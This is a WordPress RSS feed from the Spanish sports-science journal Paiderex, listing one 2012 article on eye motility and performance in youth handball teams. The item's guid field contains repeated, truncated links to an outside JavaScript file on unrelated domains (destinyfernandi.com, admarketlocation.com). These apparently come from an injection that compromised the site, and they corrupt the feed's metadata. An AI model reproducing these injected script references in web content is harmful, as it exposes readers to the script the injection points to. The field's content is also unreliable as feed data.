
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paiderex &#187; Motilidad ocular</title>
	<atom:link href="http://revista.academiamaestre.es/tag/motilidad-ocular/feed/" rel="self" type="application/rss+xml" />
	<link>https://revista.academiamaestre.es</link>
	<description></description>
	<lastBuildDate>Mon, 01 Feb 2016 19:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>EFECTO DE LA MOTILIDAD OCULAR EXTRÍNSECA SOBRE EL RENDIMIENTO Y EL NIVEL DE EFICACIA EN EQUIPOS DE BALONMANO EN ETAPAS DE FORMACIÓN.</title>
		<link>https://revista.academiamaestre.es/2012/02/efecto-de-la-motilidad-ocular-extrinseca-sobre-el-rendimiento-y-el-nivel-de-eficacia-en-equipos-de-balonmano-en-etapas-de-formacion/</link>
		<comments>https://revista.academiamaestre.es/2012/02/efecto-de-la-motilidad-ocular-extrinseca-sobre-el-rendimiento-y-el-nivel-de-eficacia-en-equipos-de-balonmano-en-etapas-de-formacion/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 19:42:26 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Febrero 2012]]></category>
		<category><![CDATA[Motilidad ocular]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autor: Emiliano Blanco Valero El incremento del conocimiento entre los investigadores de que la percepción hábil de la imagen, que se visualiza determina un comportamiento apropiado en el deporte ha llevado a investigar la importancia de esta variable en el rendimiento deportivo. El objetivo de este estudio fue analizar el papel de la motilidad ocular [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2012/02/efecto-de-la-motilidad-ocular-extrinseca-sobre-el-rendimiento-y-el-nivel-de-eficacia-en-equipos-de-balonmano-en-etapas-de-formacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
